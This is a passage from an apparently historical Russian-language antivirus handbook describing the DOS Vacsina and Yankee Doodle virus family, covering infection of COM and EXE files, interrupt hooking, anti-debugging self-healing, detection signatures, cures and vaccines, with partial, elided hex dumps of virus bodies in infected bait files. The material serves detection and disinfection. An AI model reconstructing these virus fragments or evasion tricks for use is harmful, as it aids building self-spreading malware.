создал резидентную поливакцину NEATVAC (СП 2-7), позволяющую бло-
кировать заражение оперативной памяти данным вирусом.
Кроме того, и это существенно усиливает аналогию с игрой Animal,
резидентный вирус, входящий в подгруппу самоедов, при попытке за-
ражения некоторой программы не только контролирует, заражена уже
эта программа или нет, но и определяет номер версии, если програм-
ма уже заражена одним из вирусов данной группы. Дальнейшие дейст-
вия вируса зависят от того, больше этот номер версии его собствен-
ного номера или нет. Если программа заражена вирусом с меньшим но-
мером, то вирус заменит эту версию на свою, предварительно выку-
сив старую. Поскольку вирус при этом проверяет только последние
байты файла, можно вакцинировать файл от большинства вирусов этой
группы, дописав в конец строку F4 7A FF 00.
Полидетектор SCAN называет представителей данной группы вирусов
Vacsina virus [Vacs] или Yankee Doodle Virus [Doodle], причем
ранние (до 66) версии SCAN часто выдают для зараженного файла оба
имени одновременно, что обычно не означает заражения модуля двумя
вирусами, а связано с несовершенством используемых в нем сигнатур.
5.3.1. Подгруппа Vacsina
Данная подгруппа получила свое название в связи с тем, что все
входящие в нее штаммы содержат строку VACSINA. Заражаются как
COM-, так и EXE-файлы, причем максимальная длина зараженных файлов
не превышает 64К. Заражение файлов происходит при запуске на вы-
полнение соответствующих программ. При заражении вирусы данной
подгруппы дописывают свое тело в конец COM- и EXE-файлов. Штаммы
подгруппы работоспособны на любой версии MS DOS. Проверка номера
версии в теле вируса не выполняется. Перехватывают прерывание 21h.
Заражаются только COM-файлы, имеющие размер мeнее 63К и начинаю-
щиеся с команды перехода (первый байт файла должен содержать E9h).
Дата создания и атрибуты остаются неизменными. Заражение выполня-
ется однократно. При заражении вирус дописывает тело в конец фай-
ла, вставляя в первые три байта команду перехода на начало вируса.
Длина зараженного файла увеличивается до значения, кратного 16,
поэтому при лечении недостаточно укорачивать файл на стандартную
величину -- исходная длина файла должна быть извлечена из тела ви-
руса. В конце тела вируса хранятся байты F4h, 7Ah, по которым ви-
рус определяет, что данный СOM-файл уже заражен.
Как уже отмечалось, заражение EXE-файлов выполняется данной
группой очень своеобразно: в заголовок заражаемого EXE-файла запи-
сывается команда перехода на тело вируса (в данном случае тело
представляет собой часть вируса размером 132 (84h), обеспечивающую
загрузку EXE-файлов, т.е. по сути выполняет функции системного за-
грузчика). Таким образом, вирус переделывает зараженный EXE-файл в
COM-файл. Этот псевдозагрузчик EXE-файлов обеспечивает настройку
загруженного в память файла и передачу на него управления. Для ле-
чения такого файла достаточно восстановить первые три байта с уче-
том первоначальной длины файла и укоротить файл на 132 байта. EXE-
файлы, требующие не всю свободную память системы (не равна FFFF
переменная MaxMem в заголовке), данным вирусом не заражаются. Кро-
ме того, вирус не заражает файлы, размер которых больше 64К или
размер которых превысил бы 64К при заражении. Поскольку после за-
ражения EXE-файл фактически превращается в COM-файл, возможно его
вторичное заражение вирусом, уже как файла типа COM.
5.3.1.1. Вирус RСE-1206 (ТР-05, VACSINA-5)
Данный вирус является наиболее распространенным в подгруппе, по-
этому рассмотрение подгруппы мы начнем именно с него. Формально
вирус RСE-1206 является файловым резидентным вирусом, поражающим
как файлы типа СОМ, так и файлы типа EXE. Зараженный COMMAND.COM
имеет размер 26509 байтов (если его первоначальный размер был
25307 байтов). Длина вируса составляет 1206 (4B6h) байтов. Заража-
ются COM-файлы длиной от 1206 (4B6h) до 62867 (F593h) байтов и
EXE-файлы длиной до FDB3h байтов при загрузке их в память для вы-
полнения (21-4Bh).
Инсталляция вируса выполняется обычным образом. При выполнении
зараженной COM-программы управление командой JMP (Е9h) передается
на начало вируса. Первыми командами вирус узнает длину исходного
файла и проверяет наличие своей копии в памяти компьютера. Если
компьютер не заражен, то вирус копирует всю программу в свободное
место в памяти и, таким образом, остается резидентным. Затем вирус
перехватывает прерывание 21h. В результате при запуске любой про-
граммы вирус получает управление, проверяет, является ли запускае-
мая программа зараженной, и если нет, то заражает данную программу
на диске. Определение зараженности программы основано на считыва-
нии последних 3 байтов зараженной программы.
У заражаемого COM-файла вирус проверяет первый байт. Если этот
байт не равен E9h (JMP), то файл не заражается. При заражении дли-
на файла увеличивается до значения, кратного параграфу (16 бай-
тов), к файлу добавляются 1206 байтов вируса и изменяются первые 3
байта файла (JMP на тело вируса). При заражении EXE-файла к нему
дописываются 132 байта из тела вируса и изменяются первые 3 байта
файла (JMP на тело вируса), при этом файл преобразуется в формат
COM. Дописанные к файлу 132 байта не распространяют вирус и лишены
способности к размножению. Их действие заключается в настройке ад-
ресов программы при ее запуске (псевдозагрузчик).
Фаза проявления для данного вируса привязана к моменту заражения
файла: при заражении файла раздается звуковой сигнал (BELL).
Резидентная часть вируса обнаруживается путем просмотра списка
резидентных программ (с помощью утилит MAP, SMAP, MMAP и т.д.).
При этом видна подозрительная дополнительная программа, не имею-
щая ни имени, ни родителя и имеющая размер 1200 байт. Являясь ре-
зидентным, вирус распознает случаи загрузки программ с защищенных
от записи дискет или разделов винчестера и не пытается заражать
такие файлы.
При запуске вирус создает на диске скрытый файл, который, по-ви-
димому, никакого назначения не выполняет и, возможно, использовал-
ся при отладке.
Исторические замечания. По данным статьи Бончева [11], вирус
имеет болгарское происхождение и разработан в конце 1988 г. В Мос-
кве вирус появился весной 1989 г. В Киеве появился вместе с компь-
ютерами, приобретенными у одного из московских кооперативов в сен-
тябре 1989 г. Из советских авторов вирус RСЕ-1206 впервые, по-ви-
димому, описал О.Котик в документации к полифагу ANTI-KOT, который
был первым фагом против данного вируса, широко использовавшимся в
Киеве.
Неформальные названия. Помимо приведенных выше названий,
используется название Sina.
Программные средства защиты. Фаги см. прил.1. Вакцина -- NEATVAC.
Фрагмент дампа дрозофилы, зараженной вирусом RCE-1206
100 E9C90A9090909090 9090909090909090 ................
110 9090909090909090 9090909090909090 ................
*** Далее следуют строки, идентичные предыдущей ***
810 9090909090909090 9090909090C31A90 ................
820 4D07004B00000000 0000000000000000 M..K............
830 60020B105605AB0E 2000050090909090 `...V... .......
840 9090C31A00564143 53494E4120202020 .....VACSINA
850 0000800000000000 7C1137A80040C200 ........|.7..@..
860 460A000000000000 0020202020202020 F........
870 2020202020202020 2020202020E80000 ...
880 5B508CC00510008B 0E0E0103C8894FFB [P............O.
890 8B0E160103C8894F F78B0E1001894FF9 .......O......O.
8A0 8B0E1401894FF58B 3E18018B160801B1 .....O..>.......
8B0 04D3E28B0E0601E3 1726C5B5000183C7 .........&......
8C0 048CDD26032E0801 03E88EDD0104E2E9 ...&............
8D0 0E1FBF00018BF281 C600018BCB2BCEF3 .............+..
8E0 A458FA8E57FB8B67 F9FBFF6FF5B003CF .X..W..g...o....
8F0 9C3D004B74069D2E FF2E0000061E5557 .=.Kt.........UW
900 56525153508BECB8 2435CD212E8C0606 VRQSP...$5.!....
910 002E891E04000E1F BABD00B82425CD21 ............$%.!
920 0E1FBA1400B40FCD 21B800438E5E0E8B ........!..C.^..
930 5606CD217303E9DA 012E890E0800B801 V..!s...........
940 4380E1FECD217303 E9C801B8023D8E5E C....!s......=.^
950 0E8B5606CD217303 E9A8012EA30A008B ..V..!s.........
960 D80E1FBA0C00B906 00B43FCD2172193D ..........?.!r.=
970 060075142E813E0C 004D5A7503E9B501 ..u...>..MZu....
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
C80 2E8B162C004A8EC2 268C0E0100B82135 ...,.J..&.....!5
C90 53CD21368C060200 36891E00005BB821 S.!6....6....[.!
CA0 258CD28EDABAC000 CD21B800008EC026 %........!.....&
CB0 C706C5007F3926C6 06C700058CC88ED8 ....9&.........
CC0 B41ABA5000CD212E 8B47FBE94EFF1F07 ...P..!..G..N...
CD0 0502F47A0500 ...z..
+----+
сигнатура
Пример карты памяти зараженного компьютера
Addr Program Parent Sg Bytes Hooked Vectors
------ -------- -------- -- ------ -----------------
(1111) DOS N/A 2 3536
(17E8) DOSEDIT DOS 2 2016 21
(11F9) DOSEDIT DOS 2 2032
(127B) BETA DOS 2 4064
(137B) N/A DOS 1 3808 03 43
(146A) N/A DOS 1 928 10
(14A5) N/A DOS 1 1264
(14F5) N/A DOS 1 912 09
(152F) N/A DOS 1 736 16 2F
(155E) N/A DOS 1 560
(1582) N/A DOS 1 3296
(1651) N/A DOS 1 5280 17
(0007) N/A N/A 1 1200
5.3.1.2. Вирус RCE-1212 (ТР-04, Vacsina-04).
За исключением нескольких команд, вирус практически полностью
совпадает с вирусом VASCINA-05. Длина вируса составляет 1212 бай-
тов. Иногда портит дату создания файла.
Исторические сведения. Вирус распространялся на вирусной дискете
В.Бончева. Содержащийся на ней файл TP4VIR.COM датирован 13
декабря 1988 г.
Фрагмент дампа дрозофилы, зараженной вирусом RCE-1212
000: E969089090909090 9090909090909090 .i..............
010: 9090909090909090 9090909090909090 ................
*** последующие строки идентичны предыдущей ***
4C0: 4D07004B00000000 0000000000000000 M..K............
4D0: 5C06FD1856059D10 2000050090909090 \...V... .......
4E0: 9090909005564143 53494E4120202020 .....VACSINA
4F0: 0000800000000000 7011C3900240C200 ........p....@..
500: D009000000000000 0020202020202020 .........
510: 2020202020202020 2020202020E80000 ...
520: 5B508CC00510008B 0E0E0103C8894FFB [P............O.
530: 8B0E160103C8894F F78B0E1001894FF9 .......O......O.
540: 8B0E1401894FF58B 3E18018B160801B1 .....O..>.......
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
920: 5B2E8C0E36002E8B 162C004A8EC2268C [...6....,.J..&.
930: 0E0100B8213553CD 21368C0602003689 ....!5S.!6....6.
940: 1E00005BB821258C D28EDABAC000CD21 ...[.!%........!
950: B800008EC026C706 C5007F3926C606C7 .....&.....9&...
960: 00048CC88ED8B41A BA5000CD212E8B47 .........P..!..G
970: FBE948FFC0040301 F47A0400 ..H......z..
+--------+
сигнатура
5.3.1.3. Вирус RCE-1339 (ТР-16, Vacsina-10)
Длина этого вируса 1339 (53Bh) при заражении COM- и 1483 -- EXE-
файлов. Как и во всех вирусах рассматриваемой подгруппы, заражение
EXE-файлов происходит в две стадии. После первой стадии файл удли-
няется на 132 байта. Никаких действий, кроме размножения, вирус не
выполняет. Заражаются COM-файлы длиной от 1339 (53Bh) до 62601
(F489h) байтов и EXE-файлы длиной до FDB3h байтов при загрузке их
в память для выполнения (21-4Bh). По структуре вирус довольно бли-
зок к RCE-1206 (VASCINA-05), однако заражает COM-файлы вне зависи-
мости от первого байта файла (вирус VACSINA-05 заражает только
файлы, первый байт которых равен E9h).
Фрагмент дампа дрозофилы, зараженной вирусом RCE-1339
000: E94D099090909090 9090909090909090 .M..............
010: 9090909090909090 9090909090909090 ................
*** Последующие строки идентичны предыдущей ***
540: 4D08005300000000 0000000000000000 M..S............
550: 5C06FD1856059D10 20000500AE002100 \...V... .....!.
560: 9090909090909090 9090909090900056 ...............V
570: 414353494E412020 2020000080000000 ACSINA ......
580: 00009C11FB750140 C200460A00000000 .....u.@..F.....
590: 0000002020202020 2020202020202020 ...
5A0: 20202020202020E8 00005B508CC00510 ...[P....
5B0: 008B0E0E0103C889 4FFB8B0E160103C8 ........O.......
5C0: 894FF78B0E100189 4FF98B0E1401894F .O......O......O
5D0: F58B3E18018B1608 01B104D3E28B0E06 ..>.............
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
A40: 00005BB821258CD2 8EDABACA00CD21B8 ..[.!%........!.
A50: 00008EC026C706C5 007F3926C606C700 ....&.....9&....
A60: 108CC88ED8B41ABA 5000CD212E8B47FB ........P..!..G.
A70: E92DFF40050301F4 7A10E9 .-.@....z..
+-----+
сигнатура
5.3.2. Подгруппа музыкальной перезагрузки
Штаммы, входящие в данную группу, имеют характерную фазу прояв-
ления: в зараженной ими системе попытка перезагрузки MS DOS с по-
мощью комбинации нажатий клавиш CTRL-ALT-DEL вызывает в начале
звучание мелодии Янки дудль денди. Звучание продолжается пример-
но 20 с., а затем происходит нормальная перезагрузка системы.
5.3.2.1. Вирус RСE-1805 (ТP-25, Yankee Doodle-19 --
Янки дудль-19, Музыкальная перезагрузка)
Вирус RСE-1805 является файловым резидентным вирусом, поражающим
как файлы типа СОМ, так и файлы типа EXE. Заражение файлов проис-
ходит при запуске на выполнение соответствующих программ. Заражает
COMMAND.COM. Вирус работоспособен на любой версии MS DOS.
При запуске зараженной программы данный вирус сначала проверяет,
имеется ли уже резидентный вирус, по описанной выше схеме, единой
для данной группы. При этой проверке возвращается номер версии ре-
зидентного вируса, если он есть в оперативной памяти. Если номер
версии резидентного вируса меньше, чем номер версии вируса в зара-
женной программе или вирус в оперативной памяти отсутствует, то
старшая версия вируса из зараженной программы становится резидент-
ной и перехватывает прерывания 09 и 21.
Заражение выполняется при запуске программы на выполнение.
Получив управление по прерыванию 21-4B вирус проверяет, является
ли запускаемая программа зараженной, и если нет, то заражает дан-
ную программу на диске. При этом вирус изменяет первые 14 байтов
зараженной программы и дописывает в конце программы собственное
тело. Определение зараженности программы основано на считывании
последних 8 байтов зараженной программы. Подобно вирусу RC-1701,
RCE-1805 не проверяет, загружается ли файл с защищенной дискеты
или нет.
Зараженные файлы увеличиваются в размере на 1805-1820 байтов,
причем дата их создания и атрибуты остаются неизменными. Заражение
выполняется однократно.
Фаза проявления была описана выше. Никаких других несанкциониро-
ванных действий, кроме проигрывания мелодии при нажатии клавиш
CTRL-ALT-DEL, вирус не выполняет.
Резидентная часть вируса обнаруживается путем просмотра списка
резидентных программ (с помощью утилит MAP, SMAP, MMAP и т.д.).
При этом видна подозрительная дополнительная программа, не имею-
щая ни имени, ни родителя и имеющая размер 1792 байт. При этом в
графе Hooked vectors не указано ни одного перехваченного преры-
вания, что, конечно же, не соответствует действительности. Вирус
обращается к 21 прерыванию непосредственно, а не с помощью команды
INT, что обеспечивает обход простейших фильтров типа VIRBLK.
Исторические замечания. Данный вирус был обнаружен в Киеве в
июле 1989 г. Одним из первых этот вирус исследовали В.Е.Еременко и
Е.Ю.Портной, которые самостоятельно разработали фаг для этого ви-
руса в сентябре 1989 г. Первым попавшим в Киев фагом против данно-
го вируса была программа VDEATH. В настоящее время вирус
практически полностью уничтожен.
Программные средства защиты. Рекомендуемые полифаги приведены в
табл.1. Вирус содержит примитивные средства защиты против трасси-
ровки и обхода резидентных средств защиты. В частности, попытки
записи вируса в запускаемый файл не обнаруживаются ни VIRBLK, ни
ANTI4US2. Фильтр ANTI4US2 не срабатывает на попытку вируса стать
резидентным. При использовании Advanced Disk Manager вирус не в
состоянии попасть в разделы винчестера, для которых установлен
статус READ ONLY. Однако при этом блокируется вызов программ.
Имеется резидентная вакцина (NEATVAC).
Фрагмент дампа дрозофилы, зараженной вирусом RCE-1805
000: E9B5079090909090 9090909090909090 ................
010: 9090909090909090 9090909090909090 ................
*** Последующие строки идентичны предыдущей ***
400: 4D08007000000000 0000000000000000 M..p............
410: 050EC32B60142602 5605E3281101FB2A ...+`.&.V..(...*
420: 2000050006052100 000000010C909090 .....!.........
430: 9090909090909090 909090FF2E10009C ................
440: FA2EFF1E1400C353 502E8B1E2200B445 .......SP.....E
450: E8ECFF72098BD8B4 3EE8E3FFEB01F858 ...r....>......X
460: 5BC3B003CF50E460 3C53752EB402CD16 [....P.`
,..r..........
490: 0672043412EAF0FF 00F0582EFF2E1C00 .r.4......X.....
4A0: 9C3D004B74613D00 C574483D01C57448 .=.Kta=..tH=..tH
4B0: 3D02C5744B3D03C5 740C9D2EFF2E1000 =..tK=..t.......
... .. .. .. .. .. .. .. .. .. .. .. ..
5F0: B900008BD18B1E22 00E843FE72E583FA .........C.r...
600: 0075E03D200076DB 3D1DF09073D5A305 .u.= .v.=...s...
610: 07B80042B900008B D18B1E2200E81FFE ...B...........
620: 72C1BA2D00B90E00 B43FE812FE72B43D r..-.....?...r.=
630: 0E0075AF813E2D00 4D5A740B813E2D00 ..u..>-.MZt..>-.
... .. .. .. .. .. .. .. .. .. .. .. .. AA0:
C400DC00C400AE00 A400AE00C400DC00 ................
AB0: F600DC00AE00DC00 F6000601DC00C400 ................
AC0: 0601F60025010601 0601FFFF19191919 ....%...........
AD0: 1919191919191919 3232191919191919 ........22......
AE0: 1919191919193232 1A191A1919191919 ......22........
AF0: 1A191A1919191E1A 191A191919191E19 ................
B00: 1919193232000493 91F47A1990 ...22.....z..
5.3.2.2. Вирус RСE-1760 (ТP-24, Yankee Doodle-18 --
Янки дудль-18, Музыкальная перезагрузка)
Данный штамм практически не отличается от предыдущего.
Фрагмент дампа программы DUMY.COM,
зараженной вирусом RCE-1760
000: E9B8039090909090 9090909090909090 ................
010: 9090909090909090 9090909090909090 ................
020: 9090909090909090 9090909090909090 ................
030: 4D08006D00000000 0000000000000000 M..m............
040: 3903981460146402 56059D10E6049A11 9...`.d.V.......
050: 2000050045002100 000000012F909090 ...E.!...../...
060: 9090909090909090 909090FF2E10009C ................
070: FA2EFF1E1400C353 502E8B1E2200B445 .......SP.....E
080: E8ECFF72098BD8B4 3EE8E3FFEB01F858 ...r....>......X
090: 5BC3B003CF50E460 3C53752EB402CD16 [....P.`,..r..........
0C0: 0672043412EAF0FF 00F0582EFF2E1C00 .r.4......X.....
0D0: 9C3D004B74613D00 C574483D01C57448 .=.Kta=..tH=..tH
0E0: 3D02C5744B3D03C5 740C9D2EFF2E1000 =..tK=..t.......
0F0: 9DFBF9CA0200B819 002EF6062B000275 ............+..u
... .. .. .. .. .. .. .. .. .. .. .. ..
630: C4E6615F5A5958C3 8B3C83FFFF74113E ..a_ZYX..<...t.>
640: 8A5E002AC92AFFE8 C2FF83C6024575E8 .^.*.*.......Eu.
650: C3BE2B06BD9F06E8 DEFFC30601060125 ..+............%
660: 0149010601490125 01C4000601060125 .I...I.%.......%
670: 0149010601060106 010601250149015D .I.........%.I.]
680: 01490125010601F6 00C400DC00F60006 .I.%............
690: 010601DC00F600DC 00AE00DC00F60006 ................
6A0: 01DC00C400DC00C4 00AE00A400AE00C4 ................
6B0: 00DC00F600DC00AE 00DC00F6000601DC ................
6C0: 00C4000601F60025 0106010601FFFF19 .......%........
6D0: 1919191919191919 1919193232191919 ...........22...
6E0: 1919191919191919 1932321A191A1919 .........22.....
6F0: 1919191A191A1919 191E1A191A191919 ................
700: 191E191919193232 30009391F47A1890 ......220....z..
+----+
сигнатура
5.3.3. Подгруппа музыкальных самоедов
В данную подгруппу входят наиболее совершенные штаммы данной
группы вирусов. По-видимому, все представители данной группы игра-
ют в 17.00 мелодию Янки Дудль Денди, поэтому их иногда называют
Five o'clock (Пять часов). Штаммы, входящие в данную подгруппу
увеличивают свои функциональные возможности, с возрастанием номера
версии. Стиль написания вируса создает впечатление перекодировки с
языка высокого уровня. Возможно, прототип был предварительно напи-
сан на Турбо Паскале, отсюда и название TP. Для структуры этой
подгруппы характерно наличие многочисленных подпрограмм и активное
использование стека. При анализе дампов программ, зараженных штам-
мами данной подгруппы, обращает на себя внимание тот факт, что все
они содержат группы повторяющихся символов с кодом 05. Поэтому для
контекстного поиска зараженных файлов можно использовать строку,
состоящую из восьми повторений символа с шестнадцатиричным кодом
05.
Начиная со штамма RCE-2661 (ТР-38) в них применяется защита от
обнаружения фильтрами, перехватывающими прерывание 21. Примененный
прием основан на выполнении трассировки программ, сидящих на 21
прерывании до попадания в оригинальный обработчик MS DOS, и за-
поминании соответствующего адреса. Кроме того, именно с этого
штамма наблюдается эффект самоизлечения зараженной программы,
при попытке трассировки ее на зараженной вирусом машине.
Среди данной подгруппы впервые встречается попытка реализовать
модификацию одного вируса другим вирусом. Начиная со штамма ТР-42,
вирус проверяет, заражен ли компьютер, на котором он распространя-
ется вирусом Bx1-1C (Пинг-понг). Если да, то выполняется модифика-
ция вируса Bx1-1C в памяти таким образом, что в код вируса вводит-
ся специальный счетчик, инициализируемый значением 255. После за-
ражения дискеты вирус уменьшает счетчик на единицу и при достиже-
нии счетчиком значения нуль перестает размножаться. Кроме того,
начиная со штамма TP-44, мелодия играется не каждый раз при дости-
жении часами значения 17.00, а с вероятностью приблизительно 1/8,
что несколько затрудняет обнаружение вируса.
Наиболее распространенным представителем этой группы является
штамм RCE-2885 (Five o'clock; TP-44), с которого мы и начнем опи-
сание представителей данной группы.
5.3.3.1. Штамм RCE-2885 (TP-44,
Yankee Doodle-2C - Янки дудль-2С, Five o'clock)
Вирус RСE-2885 является файловым резидентным вирусом, поражающим
как файлы типа СОМ, так и файлы типа EXE. Заражение файлов проис-
ходит при запуске на выполнение соответствующих программ. Зараже-
ние COMMAND.COM происходит сразу после инсталляции вируса в верх-
ние адреса свободной оперативной памяти, поскольку при этом зати-
рается транзитная часть COMMAND.COM. Зараженный командный процес-
сор имеет длину 28197, при исходной длине 25307.
Зависимости работоспособности вируса от версии MS DOS не
обнаружено. Проверка номера версии в теле вируса не выполняется.
Перехватывает прерывания 1, 3, 1Ch, 21h. Дата создания и атрибуты
заражаемого файла остаются неизменными. Заражение выполняется од-
нократно.
При заражении COM-файлов вирус дописывает свое тело в конец фай-
ла, вставляя в первые три байта команду перехода на начало вируса.
Зараженные COM-файлы увеличиваются на 2885 (B45h) байтов (с вырав-
ниванием на границу параграфа). Заражаются COM-файлы длиной от 20h
до F277h байтов. В конце зараженного файла расположена четырехбай-
товая сигнатура вируса 7Fh, 39h, 2Ch, 00h.
При заражении EXE-файлов вирус также дописывает свое тело в ко-
нец файла с выравниванием начала вируса на границу параграфа. При
этом размер файла увеличивается на 2881 (B41h) байт. Длина при за-
ражении EXE- файлов не контролируется. В конце зараженного EXE-
файла четырехбайтовая сигнатура отсутствует.
При инсталляции вирус узнает длину исходного файла, восстанавли-
вает истинный стартовый адрес программы и проверяет наличие своей
копии в памяти компьютера. Если компьютер не заражен или заражен
более ранней версией вируса, то RCE-2885 копирует себя в область
памяти либо сразу за телом программы, либо выделенную функцией
ALLOC (21-48h) и, манипулируя с MCB, остается резидентным в памя-
ти, перехватывая прерывания 21h, 1Ch и 09h.
Вирус RCE-2885 проверяет, загружается ли файл с защищенной дис-
кеты или нет. Поэтому он не препятствует загрузке любого СОМ-файла
с защищенной дискеты. Резидентная часть вируса не обнаруживается
путем просмотра списка резидентных программ (с помощью утилит MAP,
SMAP, MMAP и т.д.). При этом вирус не детектируется программой
RELEASE, а попытка запустить RELEASE на зараженной машине приводит
к выдаче сообщения о том, что RELEASE не может стать резидентным.
Вирус обходит контроль резидентных фильтров, следящих за записью в
программные файлы.
Фаза проявления данного вируса состоит в проигрывании с вероят-
ностью 1/8 мелодии Янки Дудль (Yankee Doodle) в 17 часов (точ-
нее, в 16:59:53). Никаких разрушений или манипулирований с данными
вирус не выполняет.
При попытке дизассемблирования дизассемблером Sourcer, а также
трассировке на зараженной машине, наблюдается эффект самоизлече-
ния файлов. Этот достаточно экзотический эффект достигается за
счет контроля прерываний 1h и 3h при получении управления по пре-
рыванию 1Ch. По умолчанию процедуры обработки этих прерываний со-
стоят из одной команды возврата. При загрузке программы, перехва-
тывающей данные прерывания (программа трассировки или дизассемблер
типа SOURCER), вирус устанавливает для указанных прерываний собст-
венные процедуры обработки. Последние проверяют, не произошли ли
эти прерывания из кодового сегмента, в котором расположена рези-
дентная часть вируса, и если да, запускают подпрограмму восстанов-
ления кода вируса, тем самым отключая программу трассировки.
Другими словами контроль прерываний 1 и 3 состоит в том, что, пока
процедуры обработки этих прерываний состоят из одной команды воз-
врата из прерывания, никаких действий вирусом не производится, но
стоит Вам загрузить программу, модифицирующую адреса обработчика
данных прерываний (например, отладчик), как вирус установит для
них собственные процедуры обработки. Основной целью перехвата уп-
равления при обработке прерываний 1h и 3h является проверка, не
произошли ли эти прерывания из кодового сегмента, равного сегменту
загрузки в память резидентного вируса. Если это так, то кто-то пы-
тается посмотреть работу вируса под отладчиком, и в ответ на это
вызывается специальная процедура восстановления кода вируса, чем
прерывается работа отладчика.
Аналогичным образом реализовано самоизлечение загружаемых в
трассировщик зараженных файлов: резидентная часть вируса отслежи-
вает момент загрузки программы в память без исполнения (21-4Bh,
AH=03), и проверяет, загружают в память зараженную программу или
нет. В последнем случае запускается подпрограмма выкусывания ви-
руса. Как уже указывалось, при заражении файлов, зараженных пред-
ыдущими версиями вируса, выполняется сначала выкусывание, а за-
тем заражение данным штаммом.
Исторические замечания. Впервые вирус был описан В.Бончевым под
названием TP-44. Данный вирус был обнаружен в Киеве в сентябре
1989 г. Первым фагом для данного вируса были программы RVC и RVE.
(для COM- и EXE-файлов, соответственно). В настоящее время данные
программы представляют только исторический интерес.
Неформальные названия. Помимо приведенных в заголовке,
используются следующие названия: Янки Дудль, Музыкальный, Летучий
Голландец, TP-44.
Программные средства защиты. Простейшие средства защиты недоста-
точно эффективны против данного вируса. В частности, попытки запи-
си вируса в запускаемый файл не обнаруживаются ни VIRBLK, ни
ANTI4US2. Эффективна защита на уровне дискового драйвера (Advanced
Disk Manager, Dcache и т.д.). Как уже указывалось, вирус содержит
средства защиты против трассировки. Для контроля работы детекторов
можно использовать поиск строки 0505050505050505h.
Фрагмент дампа дрозофилы, зараженной вирусом RCE-2885
100 E90E089090909090 9090909090909090 ................
110 9090040090909090 9090909090909090 ................
120 9090909090909090 9090909090909090 ................
130 9090909090909090 909090C37A3D0000 ............z=..
140 F47A2C0000003C00 BE0A909090909090 .z,...<.........
150 9090909090909090 9090909090909090 ................
160 9090909090909090 9090601479026014 ..........`.y.`.
170 790256058C4253FF 00F00500B6643B13 y.V..BS......d;.
180 DE006A002E833ED4 065C0770002E833E ..j...>..\.p...>
190 D4065C0770000000 2101000100016901 ..\.p...!.....i.
1A0 0000100000010002 CF02C711C711E60F ................
1B0 280EC711280EE60F C417C711C711E60F (...(...........
1C0 280EC711C711C711 C711E60F280E590D (...........(.Y.
1D0 280EE60FC711EF12 C4172C15EF12C711 (.........,.....
1E0 C7112C15EF122C15 C51A2C15EF12C711 ..,...,...,.....
1F0 2C15C4172C15C417 C51A671CC51AC417 ,...,.....g.....
200 2C15EF122C15C51A 2C15EF12C7112C15 ,...,...,.....,.
210 C417C711EF12E60F C711C711FFFF0505 ................
220 0505050505050505 0505090905050505 ................
230 0505050505050505 0909050505050505 ................
240 0505050505050505 0605050505050505 ................
250 06050505050909FE 067A7DFE06FB7D74 .........z}...}t
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
+----- начало инсталлятора вируса
V
911 E800005B81EBD4 072EC6875C00FFFC ....[.......\...
920 2E80BF5B00007418 BE0A0003F3BF0001 ...[..t.........
930 B92000F3A40E2EFF B76400061E50EB13 . .......d...P..
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
B60 3146F826A10A0031 46FA26A10C003146 1F.&...1F.&...1F
B70 FC26A10E003146FE EB118BC1B908008D .&...1F.........
B80 76F033FFF336A58B C8EB0349EB9BD1EA v.3..6.....I....
B90 7202EB868BE55DC3 558BEC1E8E5E048E r.....].U....^..
BA0 460633DB268B0731 0783C30283FB1072 F.3.&..1.......r
BB0 F3FF4604FF4606FF 4E0875E01F5DC355 ..F..F..N.u..].U
BC0 8BEC1EB30133F633 C98B7E08037E0A4F .....3.3..~..~.O
BD0 8EDFD02CD1D14F3B 7E0873F40BC97411 ...,..O;~.s...t.
BE0 51FF7606FF7604E8 EBFE83C4068ED830 Q.v..v.........0
BF0 1C4683FE1072D0D0 E373CA1F5DC387DB .F...r...s..]...
C00 88CB8A998F38E7CD A19B3EEF86C89783 .....8....>.....
C10 5234BE8C2129B1F9 C19B120409F34501 R4..!)........E.
C20 931DB0B9C6010692 375049E8D5719722 ........7PI..q.
C30 A6E64C50BE2A23BE 441DA1A66BA0E006 ..LP.*#.D...k...
C40 AA1AF62AC0022F75 99060F5B97023E64 ...*../u...[..>d
C50 7DC8506608C4FA92 8E64751BA61BB932 }.Pf.....du....2
C60 BD0B3E616DE0C4B9 29CA9C170821EAEE ..>am...)....!..
C70 7E85B1632AC37171 2CA0F28B590DF9D5 ~..c*.qq,...Y...
C80 00F47A2C00 ..z,.
+----+
сигнатура
5.3.3.2. Вирус RCE-2680
(ТР-33, Yankee Doodle-21 -- Янки дудль-21)
Этот штамм, по-видимому, является первым представителем подгруп-
пы самоедов. Именно в нем была добавлена часть, обеспечивающая
восстановление оригинального кода вируса при изменении до 16 по-
следовательных байтов (с помощью самокорректирующегося кода Хем-
минга). Вирус играет мелодию Янки Дудль в 17 часов.
Исторические замечания. Данный вирус распространялся на вирусной
дискете В.Бончева в файле TP33VIR.COM, датированном 17 февраля
1989 г.
Фрагмент дампа дрозофилы, зараженной вирусом RCE-2680
0100 E99F069090909090 9090909090909090 ................
0110 9090909090909090 9090909090909090 ................
0120 9090909090909090 9090909090909090 ................
0130 9090909090909090 90909090909090C3 ................
0140 4D0800AF00000000 0000000000000000 M...............
0150 6002FD1660147402 5605631353FF00F0 `...`.t.V.c.S...
0160 20000500BB916A13 0000C60052002EC6 .....j.....R...
0170 5C077000558B5C07 7000010001909090 \.p.U.\.p.......
0180 9090909090909090 90909087DB87DB90 ................
0190 6402C711C711E60F 280EC711280EE60F d.......(...(...
01A0 C417C711C711E60F 280EC711C711C711 ........(.......
01B0 C711E60F280E590D 280EE60FC711EF12 ....(.Y.(.......
01C0 C4172C15EF12C711 C7112C15EF122C15 ..,.......,...,.
01D0 C51A2C15EF12C711 2C15C4172C15C417 ..,.....,...,...
01E0 C51A671CC51AC417 2C15EF122C15C51A ..g.....,...,...
01F0 2C15EF12C7112C15 C417C711EF12E60F ,.....,.........
0200 C711C711FFFF0505 0505050505050505 ................
0210 0505090905050505 0505050505050505 ................
0220 0909050505050505 0505050505050505 ................
0230 0605050505050505 0605050505090950 ...............P
0240 53B800008EC026C4 1C895D028C450426 S.....&...]..E.&
0250 803FCF740A268B07 890526C707CD1C5B .?.t.&....&....[
... .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
+---- начало инсталлятора вируса
V
07A2 E800005B81EB 65065053BB2100F8 C....[..e.PS.!..
